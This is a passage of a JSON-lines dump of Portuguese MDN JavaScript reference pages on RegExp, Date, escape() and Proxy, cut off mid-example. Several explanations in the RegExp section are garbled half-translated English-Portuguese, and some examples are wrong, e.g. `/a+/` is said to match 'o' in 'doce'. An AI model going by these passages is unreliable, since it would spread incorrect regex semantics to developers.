conjunto de caracteres. Corresponde qualquer um dos caracteres\n cercados. Você pode especificar uma extensão de caracteres usando um\n hífen.\n\n\n Por exemplo, `[abcd]` é o mesmo que `[a-d]`.\n Eles correspondem o \"b\" em \"banco\" e o \"c\" em \"cortar\".\n  |\n| `[^xyz]` | \n Um conjunto de caracteres negativo ou complementado. Isto é,\n corresponde qualquer coisa que não esteja cercada nos colchetes. Você\n pode especificar uma extensão de caracteres usando um hífen.\n\n\n Por exemplo, `[^abc]` é o mesmo que `[^a-c]`.\n Eles inicialmente correspondem \"n\" em \"banco\" e \"o\" em \"cortar\".\n  |\n| Limites |\n| --- |\n| Caractere | Significado |\n| `^` | \n Corresponde o início de uma entrada. Se a flag multilinha é utilizada,\n também corresponde imediatamente após um caractere de quebra de linha.\n\n\n Por exemplo, `/^A/` não corresponde o \"A\" em \"an A\", mas\n corresponde o primeiro \"A\" em \"An A\".\n  |\n| `$` | \n Corresponde o fim de uma entrada. Se a flag multilinha é utilizada,\n também corresponde imediatamente antes de um caractere de quebra de\n linha.\n\n\n Por exemplo, `/o$/` não corresponde o \"o\" em \"cantor\", mas\n corresponde em \"canto\".\n  |\n| `\\b` | \n Corresponde um limite de palavra de largura zero, como entre uma letra\n e um espaço. (Não confundir com `[\\b]`)\n\n\n Por exemplo, `/\\bno/` corresponde o \"no\" em \"de noite\";\n `/ly\\b/` corresponde o \"ly\" em \"possibly yesterday\".\n  |\n| `\\B` | \n Corresponde um limite de uma não palavra de largura zero, como entre\n duas letras ou entre dois espaços.\n\n\n Por exemplo, `/\\Bte/` corresponde \"te\" em \"de noite\", e\n `/on\\B/` corresponde \"on\" em \"possivelmente ontem\".\n  |\n| Agrupamentos e back references |\n| --- |\n| Caractere | Significado |\n| `(*x*)` | \n Corresponde `*x*` e memoriza a correspondência.\n Esses são chamados parênteses de captura.\n\n\n Por exemplo, `/(foo)/` corresponde e memoriza \"foo\" em \"foo\n bar\". A substring correspondida pode ser chamada novamente dos\n elementos do array resultante `[1], ..., [n]` ou das\n propriedades predefinidas do objeto `RegExp`\n`$1, ..., $9`.\n\n\n Grupos de captura têm uma falta na performance. Se você não necessita\n que a substring correspondida seja chamada novamente, prefira\n parênteses de não-captura (veja mais abaixo).\n  |\n| `\\*n*` | \n Onde `*n*` é um inteiro positivo. A back reference\n to o last substring matching o n parenthetical no expressão regular\n (counting left parentheses).\n\n\n Por exemplo, `/apple(,)\\sorange\\1/` corresponde \"apple,\n orange,\" em \"apple, orange, cherry, peach\". Um exemplo mais completo\n está a seguir nesta tabela.\n  |\n| `(?:*x*)` | \n Corresponde `*x*` mas não memoriza a correspondência.\n Esses são chamados parênteses de não-captura. A substring correspondida\n não pode ser chamada novamente dos elementos do array resultante\n `[1], ..., [n]` ou das propriedades predefinidas do objeto\n `RegExp` `$1, ..., $9`.\n  |\n| Quantificadores |\n| --- |\n| Caractere | Significado |\n| `*x**` | Corresponde o item precedente *x* zero ou mais vezes.\n\n Por exemplo, `/assusto*/` corresponde \"assustoooo\" em \"Um\n fantasma assustoooou\" e \"assust\" em \"Não me assustei\", mas nada em \"Um\n bode grunhiu\".\n\n\n Note que no caso acima, o único caractere a ser selecionado é \"o\",\n pois ele é o caractere imediatamente anterior ao asterisco e não há\n qualquer operador de agrupamento que indique que mais caracteres\n deveriam ser submetidos à repetição. Se quiséssemos selecionar a\n ocorrência sequencial da palavra completa \"blah\", por exemplo,\n poderíamos utilizar algum agrupamento como `/(blah)*/` o\n que geraria a seleção de \"blahblahblah\" na frase \"blahblahblah ração\n para gatos\" ou de \"blah\" na frase \"algoritmo blahut-arimoto\".\n  |\n| `*x*+` | \n Corresponde o item precedente *x* uma ou mais vezes.\n Equivalente a `{1,}`.\n\n\n Por exemplo, `/a+/` corresponde o \"o\" em \"doce\" e todos os\n \"o\"s em \"doooooooce\".\n  |\n| `*x*?` | Corresponde o item precedente *x* nenhuma ou uma vez.\n\n Por exemplo, `/e?le?/` corresponde o \"el\" em \"angel\" e o\n \"le\" em \"angle.\"\n\n\n If used imediatamente after qualquer dos quantifiers `*`,\n `+`, `?`, ou `{}`, makes o quantifier\n non-greedy (matching o minimum number of vezes), como opposed to o\n default, which é greedy (matching o maximum number of vezes).\n\n\n Also used em lookahead assertions, described under `(?=)`,\n `(?!)`, e `(?:)` em this table.\n  |\n| `*x*(?=*y*)` | \n Corresponde `*x*` apenas se `*x*` é\n seguido por `*y*`. Por exemplo, `/Jack(?=Sprat)/` corresponde \"Jack\" apenas\n se for seguido por \"Sprat\".\n `/Jack(?=Sprat|Frost)/` corresponde \"Jack\" apenas se for\n seguido por \"Sprat\" ou \"Frost\". Porém, nem \"Sprat\" nem \"Frost\" são\n partes do resultado da correspondência.\n  |\n| `*x*(?!*y*)` | \n Corresponde `*x*` apenas se\n `*x*` não é seguido por `*y*`. Por exemplo, `/\\d+(?!\\.)/` corresponde um número apenas\n se não for seguido por um ponto.\n\n\n`/\\d+(?!\\.)/.exec('3.141')` corresponde \"141\", mas não\n \"3.141\".\n  |\n| `*x*|*y*` | Corresponde `*x*`ou `*y*`*.*\n\n Por exemplo, `/verde|vermelha/` corresponde \"verde\" em\n \"maçã verde\" e \"vermelha\" em \"maçã vermelha\".\n\n\n Entretanto, a primeira expressão tem preferência. Se uma string fosse\n corresponder às duas expressões, ela vai corresponder à que aparece do\n lado esquerdo do operador `|`. Por exemplo,\n `/maçãs|maçã/` corresponde \"maçãs\" na frase \"*maçãs*\n vermelhas\" e \"maçã\" na frase \"*maçã* verde\".\n  |\n| `*x*{*n*}` | \n Onde `*n*` é um número inteiro positivo. Corresponde\n exatamente `*n*` ocorrências do item precedente\n *x*.\n\n\n Por exemplo, `/o{2}/` não corresponde o \"o\" em\n \"brigadeiro\", mas corresponde todos os dois \"o\"s em\n \"brigadeir*oo*\", e o dois primeiros \"o\"s em\n \"brigadeir*oo*o\".\n  |\n| `*x*{*n*,}` | \n Onde `*n*` é um número inteiro positivo. Corresponde\n *pelo menos* `*n*` ocorrências do item\n precedente *x* (sem que haja um limite superior).\n\n\n Por exemplo, `/o{2,}/` não corresponde o \"o\" em\n \"brigadeiro\", mas corresponde todos os \"o\"s em \"brigadeir*oo*\" e\n em \"brigadeir*ooooooooo*\".\n  |\n| `*x*{*n*,*m*}` | \n Onde `*n*` e `*m*` são números\n inteiros positivos. Corresponde pelo menos `*n*` e\n no máximo `*m*` ocorrências do item precedente\n *x*.\n\n\n Por exemplo, `/o{2,4}/` corresponde nada em \"brigadeiro\",\n os dois \"o\"s em \"brigadeir*oo*\", os três \"o\"s em\n \"brigadeir*ooo*\", e os primeiros quatro \"o\"s em\n \"brigadeir*oooo*o\".\n\n\n É importante perceber que no último caso a correspondência não inclui\n o último \"o\" de \"brigadeirooooo\". Isso se deve ao fato do operador\n quantificador ter definido o número máximo de ocorrências como 4,\n ignorando a quinta repetição do caractere.\n  |\n| `*x**?``*x*+?*x??**x{n,}?**x{n,m}?*` | \n**Operadores *non-greedy* ou *lazy* (não-gulosos ou\npreguiçosos)**Esses operadores com a `?` no final, operam de\n maneira semelhante aos seus análogos sem `?` mostrados\n acima, correspondendo múltiplas ocorrências do item precedente\n *x.* Entretanto, desta vez a ocorrência selecionada será a\n mínima possível.\n\n\n No exemplo `/(blah)*?/`, diante da frase \"blahblahblah\n ração para gatos\", nada seria selecionado, pois a ocorrência mínima\n aceita pelo operador `*?` seria ocorrência de 0 (zero)\n vezes da *string* \"blah\", o que resulta no nada.\n\n\n Já a expressão regular `/(blah)+?/`, diante da mesma frase,\n corresponderia a \"blah\", que é a ocorrência mínima aceita pelo\n operador `+?`*,* ou seja, 1 (uma) repetição da\n sequência \"blah\".\n\n\n Em outro exemplo com mais aplicação prática, digamos que se quer\n corresponder todos os termos que ficam entre aspas em um texto. Se\n fizéssemos simplesmente a *regex* `/\".*\"/`, diante\n de um texto com múltiplas ocorrências de termos entre aspas, como:\n *'Eu \"gosto\" muito de \"estudar\" regex'*, a nossa expressão\n regular seria gulosa e selecionaria o maior texto possível que\n correspondesse à definição, nesse caso, selecionando '*\"gosto\" muito de \"estudar\"*', pois todo esse texto está compreendido entre a primeira aspa\n (antes de *'gosto'*) e a última aspa (após *'estudar'*),\n o que é um resultado talvez indesejado.Se usarmos a regex\n `/\".*?\"/`, com o operador não-guloso, as correspondências\n para a mesma frase seriam '*\"gosto\"*' e '*\"estudar\"*'\n separadamente, conforme era a intenção inicial.\n  |\n\nPropriedades\n------------\n\n`RegExp.prototype` (en-US)\n\nPermite a adição de propriedades a todos os objetos.\n\n`RegExp.length`\n\nO valor of `RegExp.length` é 2.\n\nMétodos\n-------\n\nO objeto global `RegExp não possui métodos próprios, no entanto, herda alguns métodos através da cadeia de prototype.`\n\nObjetos e instancias\n--------------------\n\n### Propriedades\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/RegExp/prototype', 'Properties')}}### Métodos\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/RegExp/prototype', 'Methods')}}Exemplos\n--------\n\n### Exemplo: Usando uma expressão regular para mudar o fomato dos dados\n\nO seguinte script usa o método `replace()` da instância de `String` para casar o nome no format *nome sobrenome* e produzir no formato *sobrenome, nome*. No texto substituto, o script usa `$1` e `$2` para indicar os respectivos parênteses de casamento no padrão da expressão regular.\n\n\n```js\nvar re = /(\\w+)\\s(\\w+)/;\nvar str = \"John Smith\";\nvar newstr = str.replace(re, \"$2, $1\");\nconsole.log(newstr);\n```\n\n\nIsto retornará \"Smith, John\".\n\n### Exemplo: Usando expressões regulares para quebrar linhas com diferentes **fins de linha**/**quebras de linha**\n\nO final de linha padrão depende da plataforma utilizada (Unix, Windows, etc.). A divisão(*split*) de linha fornecida neste exemplo funciona com todas as plataformas.\n\n\n```js\nvar text = \"Um texto\\nE mais um pouco\\r\\nE ainda mais\\rEsse é o fim\";\nvar lines = text.split(/\\r\\n|\\r|\\n/);\nconsole.log(lines); // prints [ 'Um texto', 'E mais um pouco', 'E ainda mais', 'Esse é o fim' ]\n```\n\n\nNote que a ordem dos padrões na expressão regular importa.\n\n### Exemplo: Usando expressão regular sobre múltiplas linhas\n\n\n```js\nvar s = \"Please yes\\nmake my day!\";\ns.match(/yes.\\*day/);\n// Retorna null\ns.match(/yes[^]\\*day/);\n// Retorna'yes\\nmake my day'\n```\n\n### Exemplo: Using a expressão regular com o \"sticky\" flag\n\nEste exemplo mostra como utilizar a sticky flag em expressões regulares.\n\n\n```js\nvar text = \"First line\\nSecond line\";\nvar regex = /(\\S+) line\\n?/y;\n\nvar match = regex.exec(text);\nconsole.log(match[1]); // prints 'First'\nconsole.log(regex.lastIndex); // prints '11'\n\nvar match2 = regex.exec(text);\nconsole.log(match2[1]); // prints 'Second'\nconsole.log(regex.lastIndex); // prints '22'\n\nvar match3 = regex.exec(text);\nconsole.log(match3 === null); // prints 'true'\n```\n\n\nOne can test at run-time whether o sticky flag é supported, using `try { … } catch { … }`. Para this, either an `eval(…)` expression ou o `RegExp(regex-string, flags-string)` syntax must be used (since o `/regex/flags` notation é processed at compile-time, so throws an exception before o `catch` block é encountered). Por exemplo:\n\n\n```js\nvar supports_sticky;\ntry {\n  RegExp(\"\", \"y\");\n  supports_sticky = true;\n} catch (e) {\n  supports_sticky = false;\n}\nconsole.log(supports_sticky); // prints 'true'\n```\n\n### Exemplo: Expressão regular e Unicode caracteres\n\nAs mentioned above, `\\w` ou `\\W` only corresponde ASCII based caracteres; por exemplo, \"a\" to \"z\", \"A\" to \"Z\", \"0\" to \"9\" e \"\\_\". To match caracteres from other languages such como Cyrillic ou Hebrew, use `\\uhhhh`, onde \"hhhh\" é o caractere's Unicode valor em hexadecimal. This exemplo demonstrates how one can separate out Unicode caracteres from uma palavra.\n\n\n```js\nvar text = \"Образец text на русском языке\";\nvar regex = /[\\u0400-\\u04FF]+/g;\n\nvar match = regex.exec(text);\nconsole.log(match[0]); // prints 'Образец'\nconsole.log(regex.lastIndex); // prints '7'\n\nvar match2 = regex.exec(text);\nconsole.log(match2[0]); // prints 'на' [não print 'text']\nconsole.log(regex.lastIndex); // prints '15'\n\n// e assim vai\n```\n\n\nHere's an external resource para getting o complete Unicode block range para different scripts: Regexp-unicode-block.\n\n### Exemplo: Extracting subdomain name from URL\n\n\n```js\nvar url = \"http://xxx.domain.com\";\nconsole.log(/[^.]+/.exec(url)[0].substr(7)); // prints 'xxx'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-regexp-regular-expression-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Regular Expressions chapter no JavaScript Guide\n* `String.prototype.match()`\n* `String.prototype.replace()`"}
{"title":"Date - JavaScript","text":"Date\n====\n\nResumo\n------\n\nCria uma instância JavaScript de **`Date`** que representa um único momento no tempo. Objetos Date são baseados no valor de tempo que é o número de milisegundos desde 1º de Janeiro de 1970 (UTC).\n\nConstrutor\n----------\n\n\n```js\nnew Date();\nnew Date(valor);\nnew Date(dataString);\nnew Date(ano, mês, dia, hora, minuto, segundo, milissegundo);\n```\n\n\n**Nota:** Note que objetos JavaScript `Date` só podem ser instanciados chamando JavaScript `Date` como um construtor: chamá-lo como uma função regular (ou seja, sem o operador new) irá retornar uma string ao invés de um objeto `Date`; ao contrário de outros tipos de objetos JavaScript, objetos JavaScript `Date` não têm sintaxe literal.\n\n### Parâmetros para o constructor Date\n\nNota: Quando Date for chamado como um construtor com mais de um argumento, se os valores forem maiores do que seu limite lógico (e.g. se 13 for fornecido como um valor para mês ou 70 for o valor para minuto), o valor adjacente será ajustado. E.g. new Date(2013, 13, 1) é equivalente a new Date(2014, 1, 1), ambos criam uma data para 2014-02-01 (note que o mês começa em 0). Similarmente para outros valores: new Date(2013, 2, 1, 0, 70) é equivalente a new Date(2013, 2, 1, 1, 10), pois ambos criam uma data para 2013-03-01T01:10:00.\n\n*`value`*\n\nUm valor inteiro representando o número de milisegundos desde 1 de Janeiro de 1970 00:00:00 UTC (Era Unix ou Marco Zero).\n\n*`dataString`*\n\nUm valor do tipo String que representa uma data. A string deverá estar uma formato reconhecido pelo método `Date.parse()` (IETF-compliant RFC 2822 timestamps e também uma versão da ISO8601).\n\n*`year`*\n\nUm valor inteiro que representa o ano. Valores de 0 a 99 correspondem aos anos de 1900 a 1999. Veja o exemplo abaixo.\n\n*`month`*\n\nUm valor inteiro que representa o mês, começando com 0 para Janeiro até 11 para Dezembro.\n\n*`day`*\n\nUm valor inteiro que representa o dia do mês.\n\n*`hour`*\n\nUm valor inteiro que representa a hora do dia.\n\n*`minute`*\n\nUm valor inteiro que representa o segmento de um minuto de tempo.\n\n*`second`*\n\nUm valor inteiro que representa o segmento de segundo do tempo.\n\n*`millisecond`*\n\nUm valor inteiro que representa o segmento de milisegundo do tempo.\n\nDescrição\n---------\n\n* Se nenhum argumento for fornecido, o construtor criará um objeto JavaScript Date com a data e hora corrente de acordo com as configurações do sistema.\n* Se ao menos 2 argumentos forem fornecidos, os argumentos ausentes serão configurados como 1 (se o dia estiver ausente) ou 0 para todos os outros.\n* A data do JavaScript é baseada no valor de tempo em milisegundos desde a meia noite de 01 de Janeiro de 1970, UTC. Um dia corresponde a 86.400,000 milisegundos. O intervalo do objeto Date no JavaScript é de -100.000,000 dias a 100.000,000 dias relativo a 01 de Janeiro de 1970, UTC.\n* O objeto Date no JavaScript tem um comportamento uniforme nas plataformas. O valor do tempo pode ser transmitido entre sistemas para representar o mesmo instante no tempo e se for usado para criar um objeto de data local, ele refletirá o tempo local equivalente.\n* O objeto Date JavaScript suporta vários métodos UTC (universal), assim como métodos de tempo locais. UTC, também conhecido como Tempo Médio de Greenwich (Greenwich Mean Time, GMT), refere-se ao tempo como definido pelo Padrão de Tempo Mundial (World Time Standard). O tempo local é o tempo conhecido pelo computador onde o JavaScript é executado.\n* Invocar o objeto Date no JavaScript como uma função (i.e., sem o operador new) retornatá uma string representando a data e hora corrente.\nPropriedades\n------------\n\n`Date.prototype` (en-US)\n\nPermite adicionar propriedades a um objeto javaScript Date.\n\nDate.length\n\nO valor de `Date.length` é 7. Esse é o número de argumentos manipulados pelo construtor.\n\nMétodos\n-------\n\n`Date.now()`\n\nRetorna o valor numérico correspondente ao tempo corrente - o número de milisegundos passados desde 1 de Janeiro de 1970 00:00:00 UTC.\n\n`Date.parse()`\n\nAnalisa uma string que representa uma data e retorna o número de milisegundos desde 1 de Janeiro, 1970, 00:00:00, hora local.\n\n`Date.UTC()`\n\nAceita os mesmos parâmetros como a forma mais longa do construtor (i.e. 2 até 7) e retorna o número de milisegundos desde 1 de Janeiro, 1970, 00:00:00 UTC.\n\nInstâncias JavaScript de `Date`\n-------------------------------\n\nTodas as instâncias `Date` são herdadas de `Date.prototype` (en-US). O objeto protótipo do construtor `Date` pode ser modificado para afetar todas as instâncias de `Date`.\n\n### Métodos\n\n{{ page(\"/pt-BR/docs/JavaScript/Reference/Global\\_Objects/Date/prototype\", \"Methods\") }}Exemplos\n--------\n\n### Várias formas de se criar um objeto Date\n\nOs seguintes exemplos mostram várias formas de se criar datas em JavaScript:\n\n**Nota:** a conversão de *strings* com o construtor de `Date` (`Date.parse` é equivalente ao contrutor) é fortemente desencorajada devido às inconsistências e diferenças dos navegadores.\n\n\n```js\nvar today = new Date();\nvar birthday = new Date(\"December 17, 1995 03:24:00\");\nvar birthday = new Date(\"1995-12-17T03:24:00\");\nvar birthday = new Date(1995, 11, 17);\nvar birthday = new Date(1995, 11, 17, 3, 24, 0);\n```\n\n### Anos com dois dígitos mapeados para 1900 - 1999\n\nPara criar e obter datas entre os anos 0 e 99 os métodos `Date.prototype.setFullYear()` e `Date.prototype.getFullYear()` devem ser usados.\n\n\n```js\nvar data = new Date(98, 1); // Dom Fev 01 1998 00:00:00 GMT+0000 (GMT)\n\n// Métodos em desuso, 98 mapeia para 1998 aqui também\ndata.setYear(98); // Dom Fev 01 1998 00:00:00 GMT+0000 (GMT)\n\ndata.setFullYear(98); // Sab Fev 01 0098 00:00:00 GMT+0000 (BST)\n```\n\n### Calculando o tempo decorrido\n\nOs seguintes exemplos mostram como determinar o tempo decorrido entre duas datas no JavaScript em milissegundos.\n\nDevido aos tamanhos diferentes dos dias (devido à mudança do horário de verão), meses e dias, expressar o tempo decorrido em unidades maiores que horas, minutos e segundos requer analisar os problemas e deve ser cuidadosamente investigado antes de se tentar utilizar.\n\n\n```js\n// usando objetos Date\nvar inicio = Date.now();\n\n// o evento para o tempo vai aqui:\nfacaAlgoPorUmLongoTempo();\nvar fim = Date.now();\nvar decorrido = fim - inicio; // tempo decorrido em milisegundos\n```\n\n\n\n```js\n// utilizando métodos embutidos\nvar inicio = new Date();\n\n// o evento para o tempo vai aqui:\nfacaAlgoPorUmLongoTempo();\nvar fim = new Date();\nvar decorrido = fim.getTime() - inicio.getTime(); // tempo decorrido em milisegundos\n```\n\n\n\n```js\n// para testar uma função e obter o seu retorno\nfunction imprimirTempoDecorrido(fTeste) {\n  var nHoraInicial = Date.now(),\n    vRetorno = fTeste(),\n    nHoraFinal = Date.now();\n\n  alert(\n    \"Tempo decorrido: \" + String(nHoraFinal - nHoraInicial) + \" milisegundos\",\n  );\n  return vRetorno;\n}\n\nretornoDaSuaFuncao = imprimirTempoDecorrido(suaFuncao);\n```\n\n\n**Nota:** Nota: Em navegadores que suportam a API de Desempenho Web (Web Performance API) com o recurso de tempo de alta resolução, `Performance.now()` pode fornecer medidas de tempo decorrido mais confiáveis e precisas do que `Date.now()`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"escape() - JavaScript","text":"escape()\n========\n\nA função obsoleta `escape() retorna uma nova string com` certos caracteres substituídos por sua sequência hexadecial. Use `encodeURI` ou `encodeURIComponent` em seu lugar.Sintaxe\n-------\n```\n\nescape(str)\n```\n\n### Parâmetros\n\n`str`\n\nUma string para ser codificada.\n\nDescrição\n---------\n\nA função **`escape`** é uma propriedade do *global object*. Caracteres especiais são codificados, com a exceção de: `@*_+-./`\n\nO formato hexadecimal de caracteres, que o valor unitário do código é **0xFF or less,** é uma sequência de escape de 2 digitos: %xx. Para caracteres com um código unitário maior, uma sequência de 4 digitos %**u**xxxx é usada.\n\nExemplos\n--------\n\n\n```js\nescape(\"abc123\"); // \"abc123\"\nescape(\"äöü\"); // \"%E4%F6%FC\"\nescape(\"ć\"); // \"%u0107\"\n\n// Caracteres Especiais\nescape(\"@\\*\\_+-./\"); // \"@\\*\\_+-./\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-escape-string |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `encodeURI`\n* `encodeURIComponent`"}
{"title":"Proxy - JavaScript","text":"Proxy\n=====\n\nO objeto **Proxy** é usado para definir comportamentos customizados para operações fundamentais (por exemplo, pesquisa de propriedade, atribuição, enumeração, invocação de função, etc.).\n\nTerminologia\n------------\n\nhandler (en-US)\n\nObjeto marcador que contém *traps*.\n\ntraps\n\nMétodos que fornecem acesso à propriedade. Isto é análogo ao conceito de *traps* (armadilhas) em sistemas operacionais\n\ntarget\n\nObjeto que o proxy virtualiza. É frequentemente utilizado como back-end de armazenamento para o proxy. Os invariantes (semânticas que permanecem inalterados) em relação à não-extensibilidade do objeto ou propriedades não-configuráveis são verificados em relação ao *target*.\n\nSintaxe\n-------\n```\n\nvar p = new Proxy(target, handler);\n```\n\n### Parâmetros\n\n`target`\n\nUm objeto target (pode ser qualquer tipo de objeto, incluindo um array, uma função ou até mesmo outro *Proxy*) a ser envolvido com o `Proxy`.\n\n`handler`\n\nUm objeto cujas propriedades são funções que definem o comportamento do proxy quando uma operação é realizada sobre ele.\n\nMétodos\n-------\n\n`Proxy.revocable()` (en-US)\n\nCria um objeto `Proxy` revogável.\n\nMétodos para manipular objetos\n------------------------------\n\nO objeto manipulado é um objeto reservado que contém traps para `Proxy.`\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Proxy/handler', 'Methods') }}Exemplos\n--------\n\n### Exemplo básico\n\nNeste exemplo simples, o número `37` é retornado como o valor padrão quando o nome da propriedade não está no objeto. Usa-se o manipulador `get` (en-US).\n\n\n```js\nvar handler = {\n  get: function (target, name) {\n    return name in target ? target[name] : 37;\n  },\n};\n\nvar p = new Proxy({}, handler);\np.a = 1;\np.b = undefined;\n\nconsole.log(p.a, p.b); // 1, undefined\nconsole.log(\"c\" in p, p.c); // false, 37\n```\n\n### Encaminhamento de Proxy\n\nNeste exemplo, estamos usando um objeto JavaScript nativo ao qual nosso proxy irá encaminhar todas as operações que são aplicadas para ele.\n\n\n```js\nvar target = {};\nvar p = new Proxy(target, {});\n\np.a = 37; // Operação encaminhada para o alvo\n\nconsole.log(target.a); // 37. A operação foi devidamente encaminhada\n```\n\n### Validação\n\nCom um `Proxy`, você pode validar facilmente o valor passado para um objeto. Este exemplo usa o manipulador `set` (en-US).\n\n\n```js\nlet validator = {\n  set: function (obj, prop, value) {\n    if (prop === \"age\") {\n      if (!Number.isInteger(value)) {\n        throw new TypeError(\"The age is not an integer\");\n      }\n      if (value > 200) {\n        throw new RangeError(\"The age seems invalid\");\n      }\n    }\n\n    //O comportamento padrão para armazenar o valor\n    obj[prop] = value;\n\n    // Indique o sucesso\n    return true;\n  },\n};\n\nlet person = new Proxy({}, validator);\n\nperson.age = 100;\nconsole.log(person.age); // 100\nperson.age = \"young\"; // Lança uma exceção\nperson.age = 300; // Lança uma exceção\n```\n\n### Construtor de extensão\n\nUm proxy de função poderia facilmente estender um construtor com um novo construtor. Este exemplo usa os manipuladores `construct` (en-US) e `apply`.\n\n\n```js\nfunction extend(sup, base) {\n  var descriptor = Object.getOwnPropertyDescriptor(\n    base.prototype,\n    \"constructor\",\n  );\n  base.prototype = Object.create(sup.prototype);\n  var handler = {\n    construct: function (target, args) {\n      var obj = Object.create(base.prototype);\n      this.apply(target, obj, args);\n      return obj;\n    },\n    apply: function (target, that, args) {\n      sup.apply(that, args);\n      base.apply(that, args);\n    },\n  };\n  var proxy = new Proxy(base, handler);\n  descriptor.value = proxy;\n  Object.defineProperty(base.prototype, \"constructor\", descriptor);\n  return proxy;\n}\n\nvar Person = function (name) {\n  this.name = name;\n};\n\nvar Boy = extend(Person, function (name, age) {\n  this.age = age;\n});\n\nBoy.prototype.sex = \"M\";\n\nvar Peter = new Boy(\"Peter\", 13);\nconsole.log(Peter.sex); // \"M\"\nconsole.log(Peter.name); // \"Peter\"\nconsole.log(Peter.age); // 13\n```\n\n### DOM manipulação de nós\n\nÀs vezes, você deseja alternar o atributo ou o nome da classe de dois elementos diferentes. Veja como usar o manipulador `set` (en-US).\n\n\n```js\nlet view = new Proxy(\n  {\n    selected: null,\n  },\n  {\n    set: function (obj, prop, newval) {\n      let oldval = obj[prop];\n\n      if (prop === \"selected\") {\n        if (oldval) {\n          oldval.setAttribute(\"aria-selected\", \"false\");\n        }\n        if (newval) {\n          newval.setAttribute(\"aria-selected\", \"true\");\n        }\n      }\n\n      // O comportamento para armazenar o valor padrão\n      obj[prop] = newval;\n\n      // Indica o sucesso\n      return true;\n    },\n  },\n);\n\nlet i1 = (view.selected = document.getElementById(\"item-1\"));\nconsole.log(i1.getAttribute(\"aria-selected\")); // 'true'\n\nlet i2 = (view.selected = document.getElementById(\"item-2\"));\nconsole.log(i1.getAttribute(\"aria-selected\")); // 'false'\nconsole.log(i2.getAttribute(\"aria-selected\")); // 'true'\n```\n\n### Correção de valor e uma propriedade extra\n\nO objeto de proxy `produtos` avalia o valor passado e converte-o em uma matriz, se necessário. O objeto também suporta uma propriedade adicional chamada `latestBrowser` tanto em getters como em setters.\n\n\n```js\nlet products = new Proxy(\n  {\n    browsers: [\"Internet Explorer\", \"Netscape\"],\n  },\n  {\n    get: function (obj, prop) {\n      // An extra property\n      if (prop === \"latestBrowser\") {\n        return obj.browsers[obj.browsers.length - 1];\n      }\n\n      // O comportamento para armazenar o valor padrão\n      return obj[prop];\n    },\n    set: function (obj, prop, value) {\n      // An extra property\n      if (prop === \"latestBrowser\") {\n        obj.browsers.push(value);\n        return true;\n      }\n\n      // Converta o valor se não for uma matriz\n      if (typeof value === \"string\") {\n        value = [value];\n      }\n\n      // O comportamento para armazenar o valor padrão\n      obj[prop] = value;\n\n      // Indicate success\n      return true;\n    },\n  },\n);\n\nconsole.log(products.browsers); // ['Internet Explorer', 'Netscape']\nproducts.browsers = \"Firefox\"; // pass a string (by mistake)\nconsole.log(products.browsers); // ['Firefox'] <- no problem, the value is an array\n\nproducts.latestBrowser = \"Chrome\";\nconsole.log(products.browsers); // ['Firefox', 'Chrome']\nconsole.log(products.latestBrowser); // 'Chrome'\n```\n\n### Encontrando um item de objeto em uma matriz por propriedade\n\nEsta proxy estende uma matriz com alguns recursos de utilidade. Como você vê, você pode \"definir\" propriedades flexíveis sem usar `Object.defineProperties`. Este exemplo pode ser adaptado para encontrar uma linha de tabela por sua célula. Nesse caso, o alvo será `table.rows` (en-US)\n\n\n```js\nlet products = new Proxy(\n  [\n    { name: \"Firefox\", type: \"browser\" },\n    { name: \"SeaMonkey\", type: \"browser\" },\n    { name: \"Thunderbird\", type: \"mailer\" },\n  ],\n  {\n    get: function (obj, prop) {\n      // O comportamento para retornar o valor; Prop geralmente é um inteiro\n      if (prop in obj) {\n        return obj[prop];\n      }\n\n      // Obter o número de produtos; Com products.length\n      if (prop === \"number\") {\n        return obj.length;\n      }\n\n      let result,\n        types = {};\n\n      for (let product of obj) {\n        if (product.name === prop) {\n          result = product;\n        }\n        if (types[product.type]) {\n          types[product.type].push(product);\n        } else {\n          types[product.type] = [product];\n        }\n      }\n\n      // Obtém um produto por nome\n      if (result) {\n        return result;\n      }\n\n      // Obtém produtos por tipo\n      if (prop in types) {\n        return types[prop];\n      }\n\n      // Obtém tipos de produto\n      if (prop === \"types\") {\n        return Object.keys(types);\n      }\n\n      return undefined;\n    },\n  },\n);\n\nconsole.log(products[0]); // { name: 'Firefox', type: 'browser' }\nconsole.log(products[\"Firefox\"]); // { name: 'Firefox', type: 'browser' }\nconsole.log(products[\"Chrome\"]); // undefined\nconsole.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]\nconsole.log(products.types); // ['browser', 'mailer']\nconsole.log(products.number); // 3\n```\n\n### Um exemplo completo de lista de `traps`\n\nAgora, para criar uma lista completa de amostra de `traps`, para fins didáticos, tentaremos propor um objeto *não nativo* que seja particularmente adequado para este tipo de operação: o objeto global `docCookies` criado por a \"little framework\" publicada na página`document.cookie`.\n\n\n```js\n/\\*\n var docCookies = ... get the \"docCookies\" object here:\n https://developer.mozilla.org/pt-BR/docs/DOM/document.cookie#A\\_little\\_framework.3A\\_a\\_complete\\_cookies\\_reader.2Fwriter\\_with\\_full\\_unicode\\_support\n\\*/\n\nvar docCookies = new Proxy(docCookies, {\n  get: function (oTarget, sKey) {\n    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;\n  },\n  set: function (oTarget, sKey, vValue) {\n    if (sKey in oTarget) {\n      return false;\n    }\n    return oTarget.setItem(sKey, vValue);\n  },\n  deleteProperty: function (oTarget, sKey) {\n    if (sKey in oTarget) {\n      return false;\n    }\n    return oTarget.removeItem(sKey);\n  },\n  enumerate: function (oTarget, sKey) {\n    return oTarget.keys();\n  },\n  ownKeys: function (oTarget, sKey) {\n    return 